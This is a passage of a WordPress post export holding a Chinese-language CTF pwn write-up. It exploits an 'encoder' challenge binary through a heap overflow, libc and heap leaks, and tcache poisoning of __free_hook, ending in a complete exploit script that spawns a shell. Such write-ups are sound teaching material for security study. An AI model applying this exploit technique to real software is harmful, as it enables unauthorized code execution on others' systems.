class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"413\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-53-1024x413.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-699\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-54-1024x480.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"480\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-54-1024x480.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-700\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u628a\u5806\u57571 download\uff08show\uff09\u4e00\u4e0b\uff0c\u6211\u4eec\u5c31\u5f97\u5230\u4e86libcbase\u548cheapbase<\/p>\n\n\n\n<p>\u63a5\u7740\u518d\u628a\u521a\u624d\u7533\u8bf7\u76840x500\u5806\u5757\u7533\u8bf7\u56de\u6765\uff0c\u91cd\u65b0\u83b7\u5f97\u4e00\u5757\u5927\u7684unsortedbin\uff08\u8fd9\u91cc\u5c31\u4f53\u73b0\u51fa\u4e86\u4e3a\u4ec0\u4e48\u4e00\u5f00\u59cb\u7533\u8bf7\u7684\u5927\u5c0f\u662f0x500\uff0c\u56e0\u4e3a\u592a\u5c0f\u7684\u8bdd\u4f1a\u76f4\u63a5\u653e\u5165tcache\u800c\u4e0d\u662funsortedbin\uff0c\u5bfc\u81f4\u65e0\u6cd5\u5229\u7528\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#-------------------------------------------------------\nrelease(4)\n#------------------\u89e6\u53d1top chunk\u5408\u5e76\uff0c\u8ba9\u5806\u5757\u66f4\u52a0\u7f8e\u89c2------------------\nrelease(7)\n\nupload(8,0x520,b'gggghhhh'*32*5+p64(0)+p64(0x41)+p64(0)*4)\nrelease(8)\nrelease(1)\nupload(9,0x520,b'gggghhhh'*32*5+p64(0)+p64(0x41)+p64(libcbase+libc.symbols&#91;'__free_hook'])+p64(0)*3)\n<\/code><\/pre>\n\n\n\n<p>release\uff084\uff09\u4e4b\u540e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-55-1024x343.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"343\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-55-1024x343.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-701\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ea2\u6846\u90e8\u5206\u662f\u4e00\u4f1a\u8981\u4f2a\u9020\u7684size\uff0c\u5bf9\u5e94\u7684\u5176\u5b9e\u662f\u5806\u57571\u7684size\uff0c\u6211\u4eec\u8981\u628a\u8fd9\u91cc\u4f2a\u9020\u7684\u5c0f\u4e00\u70b9\uff0c\u8ba9\u4ed6\u5c5e\u4e8etcache\uff0c\u540e\u7eed\u6253\u4e00\u4e2atcache\u6295\u6bd2\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\u4efb\u610f\u6570\u503c\uff0c\u4ece\u800c\u6539__free_hook<\/p>\n\n\n\n<p>upload(8,0&#215;520,b&#8217;gggghhhh&#8217;*32*5+p64(0)+p64(0x41)+p64(0)*4)\u4e4b\u540e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-56-1024x308.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"308\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-56-1024x308.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-702\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>release\uff088\uff09\u4e4b\u540e\uff1a\u53c8\u6062\u590d\u4e86\u5927\u7684unsortedbin\uff0c\u4e3a\u7684\u662f\u4e0b\u4e00\u6b21\u53ef\u4ee5\u8986\u5199tcache\u7684fd\u548ckey<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-57-1024x340.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"340\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-57-1024x340.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-703\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>release\uff081\uff09\u4e4b\u540e\uff1a\u53ef\u4ee5\u770b\u5230\u6210\u529f\u5f97\u5230\u4e86tcache<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-58-1024x314.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"314\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-58-1024x314.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-704\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u5728\u7533\u8bf7\u4e00\u4e2a\u5927\u5806\u5757\uff0c\u5c06fd\u6539\u5199\u4e3a__free_hook\uff0ckey\u6539\u5199\u62100\uff0c\u90a3\u4e48__free_hook\u5c31\u88ab\u52a0\u5165\u5230\u4e86tcache\u91cc\uff0c\u6700\u7ec8\u5c31\u53ef\u4ee5\u7533\u8bf7\u5230\u8fd9\u91cc\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-59-1024x288.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"288\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-59-1024x288.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-705\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-60.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"908\" height=\"315\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-60.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-706\"  sizes=\"(max-width: 908px) 100vw, 908px\" \/><\/div><\/figure>\n\n\n\n<p>\u6539\u5199\u6210\u529f<\/p>\n\n\n\n<p>\u6700\u540e\u5148\u7533\u8bf7\u4e00\u4e2a\/bin\/sh\uff0c\u5728\u7533\u8bf7\u4e00\u6b21\uff0c\u5c31\u7533\u8bf7\u5230\u4e86__free_hook\uff0c\u5c06\u6b64\u5904\u5199\u4e3asystem\uff0c\u7136\u540erelease\uff0810\uff09\uff0c\u5c31\u5b9e\u73b0\u4e86\u6267\u884csystem\uff08\u201c\/bin\/sh\u201d\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%8C%E6%95%B4paylaod%E5%A6%82%E4%B8%8B\"><\/span>\u5b8c\u6574paylaod\u5982\u4e0b<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwnplus import *\ncontext.arch='amd64'\ncontext.log_level='DEBUG'\n\np=mypwn('.\/encoder')\nlibc=ELF('.\/libc-2.31.so')\ndef readatoi(delim,string):\n    p.sda(delim,str(string))\n\ndef upload(index,size,content):\n    readatoi(b'&gt;&gt;\\n', 1)\n    readatoi(b'FileIdx: ',index)\n    readatoi(b'FileSize: ',size)\n    p.sda(b'FileData: ',content)\n\ndef download(index):\n    readatoi(b'&gt;&gt;\\n',2)\n    readatoi(b'FileIdx: ',index)\n\ndef encode(index):\n    readatoi(b'&gt;&gt;\\n', 3)\n    readatoi(b'FileIdx: ', index)\n\ndef decode(index):\n    readatoi(b'&gt;&gt;\\n', 4)\n    readatoi(b'FileIdx: ', index)\n\ndef release(index):\n    readatoi(b'&gt;&gt;\\n', 5)\n    readatoi(b'FileIdx: ', index)\n\nrle=b'RLE\\n'+p32(0x14)+b'\\x68\\x20\\x60\\x20'+b'\\x60\\x20\\x60\\x20'*4+p32(0x760)+b'\\x70\\x20\\x70\\x20'+b'\\x01\\x41\\x01\\x12\\x06\\x00'+b'\\x06\\x70'\n\n#-----------------\u4fee\u6539\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size---------------------\nupload(0,len(rle),rle)\nupload(1,0x500,b'aaaabbbb'*(32*5))\nupload(2,0x500,b'ccccdddd'*32*5)\nencode(1)\np.debug()\ndecode(0)\n#-------------------------------------------------------\n#-----------------\u6cc4\u9732libc------------------------------\nupload(3,0x700,b'eeeeffff'*(32*7))\nupload(5,0x700,b'iiiijjjj'*(32*7))\nupload(6,0xe00,b'kkkkllll'*(32*0xe))\nupload(7,0x700,b'mmmmnnnn'*(32*7))\nrelease(2)\nupload(4,0x500,b'gggghhhh'*32*5)\nrelease(6)\ndownload(1)\n\np.rcvu(b'FileData: ')\nlibcbase=p.uu64()-0x1ecbe0\np.rcv(2)\nheapbase=p.uu64()-0x2130\n\nprint('libcbase:',hex(libcbase))\nprint('heapbase:',hex(heapbase))\n#-------------------------------------------------------\nrelease(4)\n#------------------\u89e6\u53d1top chunk\u5408\u5e76\uff0c\u8ba9\u5806\u5757\u66f4\u52a0\u7f8e\u89c2------------------\nrelease(7)\n\nupload(8,0x520,b'gggghhhh'*32*5+p64(0)+p64(0x41)+p64(0)*4)\nrelease(8)\nrelease(1)\nupload(9,0x520,b'gggghhhh'*32*5+p64(0)+p64(0x41)+p64(libcbase+libc.symbols&#91;'__free_hook'])+p64(0)*3)\n\nupload(10,0x30,b'\/bin\/sh\\0'*6)\nupload(11,0x30,p64(libcbase+libc.symbols&#91;'system'])*6)\nrelease(10)\n\n\n\np.ia()<\/code><\/pre>\n\n\n\n<p>\u9644\u6253\u901a\u622a\u56fe<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-61-1024x278.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"278\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-61-1024x278.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-707\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u6587\u9996\u53d1\u4e8e\u5148\u77e5\u793e\u533a\uff1ahttps:\/\/xz.aliyun.com\/news\/17415 \u8d5b\u540e\u603b\u7ed3\u53d1\u73b0\u8fd9\u662f\u4e00\u4e2a\u6f0f\u6d1e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,1],"tags":[38],"class_list":["post-672","post","type-post","status-publish","format-standard","hentry","category-pwn","category-uncategorized","tag-tcache"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/672","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=672"}],"version-history":[{"count":2,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/672\/revisions"}],"predecessor-version":[{"id":709,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/672\/revisions\/709"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=672"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=672"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=672"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}